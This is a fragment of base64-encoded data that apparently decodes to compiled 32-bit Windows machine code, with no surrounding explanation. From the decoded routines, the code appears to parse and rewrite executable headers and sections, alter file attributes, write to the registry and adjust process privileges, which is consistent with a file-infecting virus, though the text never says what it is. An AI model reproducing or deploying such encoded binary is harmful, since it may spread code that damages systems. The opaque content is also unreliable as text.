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
3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA
fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9
1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk
aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO
//+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f//
6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA
689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61////
dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D
xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/
/4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do
Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F
APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9
ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ
D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA
AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/
/1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+
FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D
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
